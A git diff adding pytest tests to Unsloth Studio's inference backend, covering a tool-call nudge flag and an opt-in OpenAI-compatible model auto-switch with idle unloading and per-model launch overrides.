+def test_shared_loop_accepts_nudge_flag():
+    assert "nudge_tool_calls" in _params(run_safetensors_tool_loop)
+
+
+def test_backends_accept_the_flag():
+    methods = [
+        InferenceOrchestrator.generate_chat_completion_with_tools,
+        LlamaCppBackend.generate_chat_completion_with_tools,
+    ]
+    if InferenceBackend is not None:  # safetensors path; needs the unsloth stack
+        methods.append(InferenceBackend.generate_chat_completion_with_tools)
+    for method in methods:
+        assert "nudge_tool_calls" in _params(method), method.__qualname__
+
+
+def test_delegating_backends_forward_the_flag_to_the_shared_loop():
+    # safetensors (in-process transformers) and MLX (parent-process orchestrator)
+    # both delegate to run_safetensors_tool_loop; GGUF runs its own in-file loop
+    # and consumes the flag directly (asserted separately by the gate test).
+    methods = [InferenceOrchestrator.generate_chat_completion_with_tools]
+    if InferenceBackend is not None:  # safetensors path; needs the unsloth stack
+        methods.append(InferenceBackend.generate_chat_completion_with_tools)
+    for method in methods:
+        src = inspect.getsource(method)
+        assert "nudge_tool_calls = nudge_tool_calls" in src, method.__qualname__
+
+
+def test_safetensors_loop_is_opt_in_while_gguf_stays_default_on():
+    # Safetensors/MLX: the retry is new here, so it requires a truthy flag.
+    sf_src = inspect.getsource(run_safetensors_tool_loop)
+    assert "and nudge_tool_calls" in sf_src
+    # GGUF: pre-existing nudge must not be accidentally disabled -- an omitted
+    # (None) flag keeps nudging; only an explicit False turns it off.
+    gguf_src = inspect.getsource(LlamaCppBackend.generate_chat_completion_with_tools)
+    assert "nudge_tool_calls is None or nudge_tool_calls" in gguf_src
+
+
+def test_api_request_models_default_the_flag_off():
+    from models.inference import AnthropicMessagesRequest, ChatCompletionRequest
+    for model in (ChatCompletionRequest, AnthropicMessagesRequest):
+        field = model.model_fields["nudge_tool_calls"]
+        assert field.default is None, model.__name__
+
+
+def test_studio_routes_forward_the_request_flag():
+    # The Studio chat frontend posts to /v1/chat/completions and /v1/messages
+    # with nudge_tool_calls=true; the route handlers forward the request value
+    # (external API clients that omit it fall back to the opt-in default).
+    from routes import inference as routes_inference
+    for handler in (
+        routes_inference.openai_chat_completions,
+        routes_inference.anthropic_messages,
+    ):
+        src = inspect.getsource(handler)
+        assert "nudge_tool_calls = payload.nudge_tool_calls" in src, handler.__name__
diff --git a/studio/backend/tests/test_offline_gguf_cache_fallback.py b/studio/backend/tests/test_offline_gguf_cache_fallback.py
index a2a505f479..4499881c4d 100644
--- a/studio/backend/tests/test_offline_gguf_cache_fallback.py
+++ b/studio/backend/tests/test_offline_gguf_cache_fallback.py
@@ -951,7 +951,11 @@ class TestWaitForHealthRetriesOnReadError:
 
         calls = {"n": 0}
 
-        def fake_get(url, timeout = None):
+        def fake_get(
+            url,
+            timeout = None,
+            trust_env = None,
+        ):
             calls["n"] += 1
             if calls["n"] == 1:
                 raise httpx.ReadError("WinError 10054")
diff --git a/studio/backend/tests/test_openai_auto_switch.py b/studio/backend/tests/test_openai_auto_switch.py
new file mode 100644
index 0000000000..7d2e2213b3
--- /dev/null
+++ b/studio/backend/tests/test_openai_auto_switch.py
@@ -0,0 +1,3039 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Opt-in OpenAI /v1 model auto-switch: resolver, hook, and settings coercion.
+
+No GPU or llama-server: the backend and the load route are mocked, mirroring
+tests/test_gguf_completion_usage.py.
+"""
+
+import asyncio
+
+import pytest
+
+import routes.inference as inference_route
+from models.inference import LoadRequest
+from core.inference import local_model_resolver as resolver
+from utils import openai_auto_switch_settings as settings
+
+
+class _FakeBackend:
+    def __init__(
+        self,
+        loaded_id = None,
+        hf_variant = None,
+        advertised_id = None,
+    ):
+        self.model_identifier = loaded_id
+        self.is_loaded = loaded_id is not None
+        self.hf_variant = hf_variant
+        self._openai_advertised_id = advertised_id
+
+
+class _LoadRecorder:
+    """Stand-in for the load route: records calls and simulates a load."""
+
+    def __init__(
+        self,
+        backend,
+        fail = False,
+    ):
+        self.backend = backend
+        self.calls = []
+        self.fail = fail
+
+    async def __call__(
+        self,
+        request,
+        fastapi_request,
+        current_subject = None,
+    ):
+        self.calls.append(request)
+        if self.fail:
+            from fastapi import HTTPException
+            raise HTTPException(status_code = 503, detail = "load failed")
+        self.backend.model_identifier = request.model_path
+        self.backend.is_loaded = True
+        # Mirror _load_model_impl: a load advertises its own id until the
+        # auto-switch caller overwrites it with the repo id.
+        self.backend._openai_advertised_id = None
+        return None
+
+
+def _wire(monkeypatch, *, enabled, resolves_to, backend, recorder):
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: enabled)
+    monkeypatch.setattr(resolver, "resolve_local_gguf", lambda _m: resolves_to)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+    # Auto-switch loads via _load_model_impl (the /load route holds the lifecycle
+    # gate that auto-switch already owns, so it calls the impl directly).
+    monkeypatch.setattr(inference_route, "_load_model_impl", recorder)
+    monkeypatch.setattr(inference_route, "_auto_switch_waiters", {})
+    monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {})
+
+
+def _run_hook(model = "some/model"):
+    asyncio.run(inference_route._maybe_auto_switch_model(model, object(), "tester"))
+
+
+def test_flag_off_never_loads(monkeypatch):
+    backend = _FakeBackend("unsloth/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = False,
+        resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    _run_hook("unsloth/B-GGUF")
+    assert rec.calls == []
+
+
+def test_unknown_model_falls_through(monkeypatch):
+    backend = _FakeBackend("unsloth/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec)
+    _run_hook("gpt-4o-mini")
+    assert rec.calls == []
+
+
+def test_already_loaded_does_not_reload(monkeypatch):
+    backend = _FakeBackend("unsloth/A-GGUF")
+    rec = _LoadRecorder(backend)
+    # Case-insensitive match against the loaded identifier.
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/a-gguf", None, "unsloth/a-gguf"),
+        backend = backend,
+        recorder = rec,
+    )
+    _run_hook("unsloth/A-GGUF")
+    assert rec.calls == []
+
+
+def test_known_unloaded_model_switches_once(monkeypatch):
+    backend = _FakeBackend("unsloth/A-GGUF")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    _run_hook("unsloth/B-GGUF:Q4_K_M")
+    assert len(rec.calls) == 1
+    req = rec.calls[0]
+    assert isinstance(req, LoadRequest)
+    assert req.model_path == "unsloth/B-GGUF"
+    assert req.gguf_variant == "Q4_K_M"
+    assert backend.model_identifier == "unsloth/B-GGUF"
+
+
+def test_concurrent_same_target_loads_once(monkeypatch):
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+
+    async def _race():
+        await asyncio.gather(
+            inference_route._maybe_auto_switch_model("unsloth/B-GGUF", object(), "t"),
+            inference_route._maybe_auto_switch_model("unsloth/B-GGUF", object(), "t"),
+        )
+
+    asyncio.run(_race())
+    assert len(rec.calls) == 1
+
+
+def test_load_failure_propagates(monkeypatch):
+    from fastapi import HTTPException
+
+    backend = _FakeBackend("unsloth/A-GGUF")
+    rec = _LoadRecorder(backend, fail = True)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    with pytest.raises(HTTPException):
+        _run_hook("unsloth/B-GGUF")
+
+
+def test_same_repo_different_variant_switches(monkeypatch):
+    # Q4_K_M loaded, Q8_0 requested: a different quant must trigger a reload.
+    backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    _run_hook("unsloth/B-GGUF:Q8_0")
+    assert len(rec.calls) == 1
+    assert rec.calls[0].gguf_variant == "Q8_0"
+
+
+def test_same_repo_same_variant_does_not_reload(monkeypatch):
+    backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", "q4_k_m", "unsloth/B-GGUF"),  # case-insensitive
+        backend = backend,
+        recorder = rec,
+    )
+    _run_hook("unsloth/B-GGUF:Q4_K_M")
+    assert rec.calls == []
+
+
+def test_responses_endpoint_wires_auto_switch_before_dispatch():
+    # The /v1/responses endpoint must invoke the auto-switch hook before either
+    # dispatcher so streaming requests switch too. Asserted on the source, which
+    # is immune to test-ordering effects on the shared inference module.
+    import inspect
+
+    src = inspect.getsource(inference_route.openai_responses)
+    assert "_maybe_auto_switch_model" in src
+    hook_at = src.index("_maybe_auto_switch_model")
+    assert hook_at < src.index("_responses_stream")
+    assert hook_at < src.index("_responses_non_streaming")
+
+
+def test_embeddings_endpoint_wires_auto_switch_before_loaded_check():
+    # /v1/embeddings is model-bearing too, so it must auto-switch before the
+    # loaded-state gate. Asserted on the source for order-independence.
+    import inspect
+
+    src = inspect.getsource(inference_route.openai_embeddings)
+    assert "_auto_switch_from_request_body" in src
+    assert src.index("_auto_switch_from_request_body") < src.index("is_loaded")
+
+
+def test_count_tokens_endpoint_wires_auto_switch_before_loaded_check():
+    # The Anthropic token-count endpoint must count with the requested model.
+    import inspect
+
+    src = inspect.getsource(inference_route.anthropic_count_tokens)
+    assert "_maybe_auto_switch_model" in src
+    assert src.index("_maybe_auto_switch_model") < src.index("is_loaded")
+
+
+def test_openai_compat_routes_bound_to_handlers_with_auth():
+    # Inserting a helper between a @router.post decorator and its handler silently
+    # rebinds the route to the helper and drops its auth dependency (this happened to
+    # /messages/count_tokens). The source-inspection tests above miss it because they
+    # call the handler directly. Lock the path -> (handler, auth) mapping at the route
+    # level so any decorator/handler split is caught.
+    expected = {
+        ("POST", "/chat/completions"): "openai_chat_completions",
+        ("POST", "/completions"): "openai_completions",
+        ("POST", "/embeddings"): "openai_embeddings",
+        ("POST", "/responses"): "openai_responses",
+        ("POST", "/messages"): "anthropic_messages",
+        ("POST", "/messages/count_tokens"): "anthropic_count_tokens",
+        ("POST", "/audio/generate"): "generate_audio",
+        ("GET", "/models"): "openai_list_models",
+        ("GET", "/models/{model_id:path}"): "openai_retrieve_model",
+    }
+    seen = {}
+    for r in inference_route.router.routes:
+        path = getattr(r, "path", None)
+        endpoint = getattr(r, "endpoint", None)
+        if path is None or endpoint is None:
+            continue
+        for method in getattr(r, "methods", None) or ():
+            seen[(method, path)] = r
+    for key, handler in expected.items():
+        assert key in seen, f"route {key} is not registered"
+        route = seen[key]
+        assert (
+            route.endpoint.__name__ == handler
+        ), f"{key} bound to {route.endpoint.__name__}, expected {handler}"
+        deps = [d.call.__name__ for d in route.dependant.dependencies]
+        assert "get_current_subject" in deps, f"{key} lost its auth dependency"
+
+
+# ── resolver ────────────────────────────────────────────────────────
+
+
+def test_local_gguf_entry_filters_non_gguf_and_recurses(tmp_path):
+    from types import SimpleNamespace
+
+    # Transformers/safetensors folder: not a GGUF, must be rejected.
+    tf = tmp_path / "tf-model"
+    tf.mkdir()
+    (tf / "config.json").write_text("{}")
+    (tf / "model.safetensors").write_text("x")
+    assert resolver._local_gguf_entry("tf", SimpleNamespace(path = str(tf))) is None
+
+    # Standalone .gguf file: an entry with no quant sub-selection.
+    bare = tmp_path / "x.gguf"
+    bare.write_text("x")
+    e = resolver._local_gguf_entry("x", SimpleNamespace(path = str(bare)))
+    assert e is not None and e.variants == ()
+
+    # HF-cache snapshots with a quant subdir (the nested layout the previous
+    # shallow glob missed): must still be detected.
+    repo = tmp_path / "models--org--repo"
+    (repo / "snapshots" / "abc" / "BF16").mkdir(parents = True)
+    (repo / "snapshots" / "abc" / "BF16" / "model-BF16.gguf").write_text("x")
+    e2 = resolver._local_gguf_entry("org/repo", SimpleNamespace(path = str(repo)))
+    assert e2 is not None and e2.variants
+
+
+def test_local_gguf_entry_rejects_standalone_mmproj(tmp_path):
+    # Codex P2: _scan_models_dir's standalone-.gguf pass emits an entry for a
+    # bare mmproj projector (it only filters mmproj inside directory scans). A
+    # projector is not a servable model, so the resolver must reject it or
+    # /v1/models advertises it and a switch could load it over the real weights.
+    from types import SimpleNamespace
+
+    proj = tmp_path / "mmproj-F16.gguf"
+    proj.write_text("x")
+    assert resolver._local_gguf_entry("p", SimpleNamespace(path = str(proj))) is None
+    assert resolver.info_has_local_gguf(SimpleNamespace(id = str(proj), path = str(proj))) is False
+
+
+def _entry(loader_id, *variants):
+    # load_path == loader_id for tests; production stores a concrete local path.
+    return resolver._LocalGgufEntry(loader_id, loader_id, tuple(variants))
+
+
+def test_resolver_matches_and_splits_variant(monkeypatch):
+    monkeypatch.setattr(
+        resolver,
+        "_build_index",
+        lambda: {"unsloth/b-gguf": _entry("unsloth/B-GGUF", "UD-Q5_K_XL", "Q4_K_M")},
+    )
+    resolver._scan = (0.0, {})  # force a rescan
+    # A requested variant present on disk resolves (case-insensitive).
+    assert resolver.resolve_local_gguf("unsloth/B-GGUF:ud-q5_k_xl") == (
+        "unsloth/B-GGUF",
+        "UD-Q5_K_XL",
+        "unsloth/B-GGUF",
+    )
+    # A bare id resolves to a concrete local quant, never a remote one.
+    assert resolver.resolve_local_gguf("unsloth/B-GGUF") == (
+        "unsloth/B-GGUF",
+        "UD-Q5_K_XL",
+        "unsloth/B-GGUF",
+    )
+    # A variant that is not on disk must not resolve (no remote download).
+    assert resolver.resolve_local_gguf("unsloth/B-GGUF:Q8_0") is None
+    assert resolver.resolve_local_gguf("totally/unknown") is None
+    assert resolver.resolve_local_gguf("") is None
+
+
+def test_resolver_failsafe_on_internal_error(monkeypatch):
+    # Resolution is best-effort: any internal failure must fall through to None
+    # so the request still serves the loaded model instead of 500-ing. The hook
+    # calls resolve_local_gguf without its own guard, so the guard lives here.
+    def boom():
+        raise RuntimeError("scan blew up")
+
+    monkeypatch.setattr(resolver, "_build_index", boom)
+    resolver._scan = (0.0, {})
+    assert resolver.resolve_local_gguf("unsloth/B-GGUF") is None
+
+
+def test_resolver_nonstring_model_is_failsafe():
+    # /v1/completions and /v1/embeddings pass body.get("model") straight through,
+    # so a non-string must not raise on .strip().
+    assert resolver.resolve_local_gguf(123) is None
+    assert resolver.resolve_local_gguf({"a": 1}) is None
+    assert resolver.resolve_local_gguf(None) is None
+
+
+def test_resolver_exact_id_with_colon_wins(monkeypatch):
+    # A local id that itself contains a colon (e.g. a Windows path) must match
+    # exactly rather than being split at the drive-letter colon.
+    win = r"C:\models\foo.gguf"
+    monkeypatch.setattr(resolver, "_build_index", lambda: {win.lower(): _entry(win)})
+    resolver._scan = (0.0, {})
+    assert resolver.resolve_local_gguf(win) == (win, None, win)
+
+
+# ── settings coercion ───────────────────────────────────────────────
+
+
+def test_setting_coercion():
+    assert settings._coerce_bool("on") is True
+    assert settings._coerce_bool("off") is False
+    assert settings._coerce_bool("garbage") is None
+    assert settings._coerce_int("5") == 5
+    assert settings._coerce_int(-3) == 0
+    assert settings._coerce_int("nope") is None
+
+
+# ── idle keep-warm ──────────────────────────────────────────────────
+
+
+def test_idle_loop_does_not_unload_freshly_loaded_model(monkeypatch):
+    # Server idle far longer than the TTL, then a model is loaded: the load
+    # transition stamps activity so the next poll must not unload it.
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 1)
+    kw._inflight = 0
+    kw._last_active = time.monotonic() - 3600
+
+    unloads = []
+    backend = _FakeBackend("unsloth/Fresh-GGUF")
+    backend.unload_model = lambda: unloads.append(1)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+
+    async def _drive():
+        task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01))
+        await asyncio.sleep(0.05)
+        task.cancel()
+        try:
+            await task
+        except asyncio.CancelledError:
+            pass
+
+    asyncio.run(_drive())
+    assert unloads == []
+
+
+def test_idle_loop_unloads_after_ttl_and_stashes_for_reload(monkeypatch):
+    # The headline behavior (the other idle tests only cover the negative paths):
+    # with nothing in flight and the TTL elapsed, the loop frees the GGUF exactly
+    # once and records its identity so a later alias request can reload that variant.
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.005)
+    kw._inflight = 0
+    kw._pending = 0
+    kw._last_active = time.monotonic() - 3600
+    kw._last_unloaded_model = None
+
+    unloads = []
+    backend = _FakeBackend("unsloth/Idle-GGUF", hf_variant = "Q4_K_M")
+
+    def _unload():
+        unloads.append(1)
+        backend.is_loaded = False  # a real unload clears the slot
+
+    backend.unload_model = _unload
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+
+    async def _drive():
+        task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.02))
+        await asyncio.sleep(0.2)
+        task.cancel()
+        try:
+            await task
+        except asyncio.CancelledError:
+            pass
+
+    asyncio.run(_drive())
+    assert unloads == [1]  # freed once, not repeatedly
+    stash = kw.get_last_unloaded_model()
+    assert stash is not None and stash[0] == "unsloth/Idle-GGUF" and stash[1] == "Q4_K_M"
+
+
+def test_audio_generate_is_tracked_as_inference_path():
+    # Direct GGUF TTS uses the llama backend and can outlive the idle TTL, so
+    # the keep-warm middleware must count it as in-flight inference.
+    from core.inference.llama_keepwarm import _is_inference_path
+
+    assert _is_inference_path("/api/inference/audio/generate") is True
+    assert _is_inference_path("/v1/chat/completions") is True
+    assert _is_inference_path("/api/inference/models/list") is False
+
+
+def test_idle_loop_does_not_unload_while_request_inflight(monkeypatch):
+    # An in-flight request (inflight > 0) must protect the model from unload
+    # even when it has been idle by wall-clock past the TTL.
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.01)
+    monkeypatch.setattr(kw, "_inflight", 1)
+    monkeypatch.setattr(kw, "_last_active", time.monotonic() - 3600)
+
+    unloads = []
+    backend = _FakeBackend("unsloth/Active-GGUF")
+    backend.unload_model = lambda: unloads.append(1)
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+
+    async def _drive():
+        task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01))
+        await asyncio.sleep(0.08)
+        task.cancel()
+        try:
+            await task
+        except asyncio.CancelledError:
+            pass
+
+    asyncio.run(_drive())
+    assert unloads == []
+
+
+# ── per-model launch overrides ──────────────────────────────────────
+
+
+def test_auto_switch_applies_model_override(monkeypatch):
+    # A configured model loads with its saved launch flags, not bare defaults.
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(
+        settings,
+        "get_model_override",
+        lambda model_id: {"llama_extra_args": ["--n-gpu-layers", "20"], "max_seq_length": 4096},
+    )
+
+    _run_hook("unsloth/B-GGUF")
+    assert len(rec.calls) == 1
+    req = rec.calls[0]
+    assert req.model_path == "unsloth/B-GGUF"
+    assert req.gguf_variant == "Q4_K_M"
+    assert req.llama_extra_args == ["--n-gpu-layers", "20"]
+    assert req.max_seq_length == 4096
+
+
+def test_auto_switch_applies_partial_override(monkeypatch):
+    # Only llama_extra_args is configured: it is applied, max_seq_length stays default.
+    backend = _FakeBackend(None)
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    monkeypatch.setattr(
+        settings, "get_model_override", lambda model_id: {"llama_extra_args": ["--flash-attn"]}
+    )
+
+    _run_hook("unsloth/B-GGUF")
+    req = rec.calls[0]
+    assert req.llama_extra_args == ["--flash-attn"]
+    assert req.max_seq_length == 0  # untouched default
+
+
+def _mock_override_store(monkeypatch):
+    """Back the override read + atomic-merge write with an in-memory dict."""
+    import storage.studio_db as db
+
+    store = {}
+
+    def _merge_entry(key, entry_key, entry_value):
+        current = dict(store.get(key) or {})
+        if entry_value:
+            current[entry_key] = entry_value
+        else:
+            current.pop(entry_key, None)
+        store[key] = current
+        return current
+
+    monkeypatch.setattr(db, "upsert_app_setting_map_entry", _merge_entry)
+    monkeypatch.setattr(db, "get_app_setting", lambda k, default = None: store.get(k, default))
+    settings._cache.clear()
+    return store
+
+
+def test_model_override_roundtrip(monkeypatch):
+    _mock_override_store(monkeypatch)
+
+    settings.set_model_override(
+        "unsloth/B-GGUF", llama_extra_args = ["--n-gpu-layers", "20"], max_seq_length = 4096
+    )
+    assert settings.get_model_override("unsloth/B-GGUF") == {
+        "llama_extra_args": ["--n-gpu-layers", "20"],
+        "max_seq_length": 4096,
+    }
+    # An override with no fields removes the entry rather than storing an empty one.
+    settings.set_model_override("unsloth/B-GGUF", llama_extra_args = [], max_seq_length = None)
+    assert settings.get_model_override("unsloth/B-GGUF") == {}
+    assert settings.get_model_overrides() == {}
+
+
+def test_override_route_rejects_managed_flag_and_removes(monkeypatch):
+    import routes.settings as settings_route
+    from fastapi import HTTPException
+
+    _mock_override_store(monkeypatch)
+
+    # A managed/denylisted llama-server flag is rejected with 400, not 500.
+    bad = settings_route.ModelOverridePayload(
+        model_id = "unsloth/B-GGUF", llama_extra_args = ["--port", "1234"]
+    )
+    with pytest.raises(HTTPException) as excinfo:
+        settings_route.update_openai_auto_switch_override(bad, "tester")
+    assert excinfo.value.status_code == 400
+
+    # A valid override is stored, then an empty payload removes it through the route.
+    ok = settings_route.ModelOverridePayload(
+        model_id = "unsloth/B-GGUF", llama_extra_args = ["--flash-attn"], max_seq_length = 4096
+    )
+    resp = settings_route.update_openai_auto_switch_override(ok, "tester")
+    assert resp.overrides["unsloth/B-GGUF"]["max_seq_length"] == 4096
+    assert "llama_extra_args" in resp.overrides["unsloth/B-GGUF"]
+
+    empty = settings_route.ModelOverridePayload(model_id = "unsloth/B-GGUF")
+    resp2 = settings_route.update_openai_auto_switch_override(empty, "tester")
+    assert "unsloth/B-GGUF" not in resp2.overrides
+
+
+def test_model_override_rejects_zero_max_seq_length():
+    # 0 is not a valid sequence length and the setter drops a falsy value, so the
+    # payload must reject it at the boundary instead of accepting then discarding it.
+    import pydantic
+    import routes.settings as settings_route
+
+    with pytest.raises(pydantic.ValidationError):
+        settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 0)
+    assert settings_route.ModelOverridePayload(model_id = "x", max_seq_length = 1).max_seq_length == 1
+
+
+def test_update_openai_auto_switch_writes_both_keys_in_one_transaction(monkeypatch):
+    # The PUT must persist enabled + idle in a single upsert so a settings write can't
+    # leave one key updated and the other stale.
+    import routes.settings as settings_route
+    import storage.studio_db as db
+    from utils.openai_auto_switch_settings import (
+        AUTO_UNLOAD_IDLE_SETTING_KEY,
+        OPENAI_AUTO_SWITCH_SETTING_KEY,
+    )
+
+    calls = []
+
+    def _capture(mapping):
+        calls.append(dict(mapping))
+        return {}
+
+    monkeypatch.setattr(db, "upsert_app_settings", _capture)
+    settings._cache.clear()
+
+    payload = settings_route.OpenAIAutoSwitchPayload(enabled = True, auto_unload_idle_seconds = 120)
+    resp = settings_route.update_openai_auto_switch(payload, "tester")
+    assert resp.enabled is True and resp.auto_unload_idle_seconds == 120
+    assert len(calls) == 1  # one transaction, not two
+    written = calls[0]
+    assert written.get(OPENAI_AUTO_SWITCH_SETTING_KEY) is True
+    assert written.get(AUTO_UNLOAD_IDLE_SETTING_KEY) == 120
+
+
+def test_settings_report_idle_unload_active_when_env_backed(monkeypatch):
+    # Codex P2: with UNSLOTH_MODEL_IDLE_TTL driving idle-unload while the toggle is
+    # off, the settings response must report idle_unload_active so the UI shows the
+    # feature as active via env rather than "needs enable".
+    import routes.settings as settings_route
+
+    monkeypatch.setattr(settings_route, "get_openai_auto_switch_enabled", lambda: False)
+    monkeypatch.setattr(settings_route, "get_stored_auto_unload_idle_seconds", lambda: 600)
+    monkeypatch.setattr(
+        settings_route, "get_auto_unload_idle_seconds", lambda: 600
+    )  # effective > 0
+    resp = settings_route.get_openai_auto_switch("tester")
+    assert resp.enabled is False and resp.idle_unload_active is True
+    # Effective TTL 0 (off, nothing env-backed) -> not active.
+    monkeypatch.setattr(settings_route, "get_auto_unload_idle_seconds", lambda: 0)
+    assert settings_route.get_openai_auto_switch("tester").idle_unload_active is False
+
+
+# ── /v1/models discovery ────────────────────────────────────────────
+
+
+def test_v1_models_retrieve_is_case_insensitive(monkeypatch):
+    # The resolver lowercases its index, so a retrieve that differs only in case
+    # from a catalog id must still hit (200), not 404. Guards the .lower() compare
+    # in openai_retrieve_model against a silent revert. (The full local catalog is
+    # main's #6519; only the loaded fast-path is exact, the catalog loop is lenient.)
+    from fastapi import HTTPException
+
+    monkeypatch.setattr(inference_route, "_openai_model_objects", lambda: [])  # nothing loaded
+
+    async def _catalog():
+        return [
+            {"id": "unsloth/A-GGUF", "object": "model", "created": 1, "owned_by": "local"},
+            {"id": "unsloth/B-GGUF", "object": "model", "created": 1, "owned_by": "local"},
+        ]
+
+    monkeypatch.setattr(inference_route, "_openai_catalog_objects", _catalog)
+
+    # A catalog id retrieved with different casing still resolves.
+    obj = asyncio.run(inference_route.openai_retrieve_model("unsloth/a-gguf", "tester"))
+    assert obj["id"] == "unsloth/A-GGUF"
+    # A truly unknown id still 404s.
+    with pytest.raises(HTTPException) as unknown:
+        asyncio.run(inference_route.openai_retrieve_model("totally/unknown", "tester"))
+    assert unknown.value.status_code == 404
+
+
+# ── hardening: hidden models, idle/enabled coupling, count_tokens keep-warm ──
+
+
+def test_index_excludes_hidden_models(tmp_path, monkeypatch):
+    # The llama.cpp validation probe and RAG embedding weights are hidden from
+    # Studio's pickers; they must never become auto-switch targets.
+    from types import SimpleNamespace
+    import routes.models as models_route
+
+    normal = tmp_path / "normal-Q4_K_M.gguf"
+    normal.write_bytes(b"x" * 32)
+    probe = tmp_path / "stories260K.gguf"  # llama.cpp install-validation probe
+    probe.write_bytes(b"x" * 32)
+
+    def _info(mid, path):
+        return SimpleNamespace(id = mid, path = str(path), model_id = mid, display_name = mid)
+
+    monkeypatch.setattr(
+        models_route,
+        "_scan_models_dir",
+        lambda *a, **k: [_info("org/Normal-GGUF", normal), _info("ggml-org/models", probe)],
+    )
+    monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: [])
+    monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path)
+    resolver._scan = (0.0, {})
+
+    index = resolver._index()
+    assert "org/normal-gguf" in index  # keys are normalized to lowercase
+    assert "ggml-org/models" not in index
+    # And the hidden probe cannot be auto-switched to by name.
+    resolver._scan = (0.0, {})
+    assert resolver.resolve_local_gguf("ggml-org/models") is None
+
+
+def test_idle_disabled_when_auto_switch_off(monkeypatch):
+    # "Off means unchanged": a stored idle TTL must report 0 while auto-switch is
+    # off, so the idle loop and keep-warm middleware can never unload the model.
+    store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 60}
+    monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d))
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
+    assert settings.get_auto_unload_idle_seconds() == 0
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    assert settings.get_auto_unload_idle_seconds() == 60
+
+
+def test_count_tokens_is_tracked_as_inference_path():
+    # count_tokens counts via the loaded tokenizer, so idle-unload must not pull
+    # the model out from under it; it has to be a tracked in-flight path.
+    from core.inference.llama_keepwarm import _is_inference_path
+
+    assert _is_inference_path("/v1/messages/count_tokens") is True
+    assert _is_inference_path("/api/inference/messages/count_tokens") is True
+    assert _is_inference_path("/v1/messages") is True
+
+
+# ── review follow-ups: bare-id reuse, responses order, in-flight tracking ──
+
+
+def test_bare_id_tolerates_any_loaded_variant(monkeypatch):
+    # Repo already loaded as Q4_K_M; a BARE request for the same repo (resolver
+    # picks the largest local quant, Q8_0) must NOT reload a different quant.
+    backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M")
+    rec = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec,
+    )
+    _run_hook("unsloth/B-GGUF")  # bare, no :VARIANT
+    assert rec.calls == []
+    # An explicit :VARIANT request still honors the quant (reloads to Q8_0).
+    rec2 = _LoadRecorder(backend)
+    _wire(
+        monkeypatch,
+        enabled = True,
+        resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"),
+        backend = backend,
+        recorder = rec2,
+    )
+    _run_hook("unsloth/B-GGUF:Q8_0")
+    assert len(rec2.calls) == 1
+
+
+def test_responses_hook_runs_after_input_validation():
+    # A request that 400s on empty input must not have triggered a model load,
+    # so the auto-switch hook must come after the input-validation guard.
+    import inspect
+
+    src = inspect.getsource(inference_route.openai_responses)
+    assert "No input provided" in src
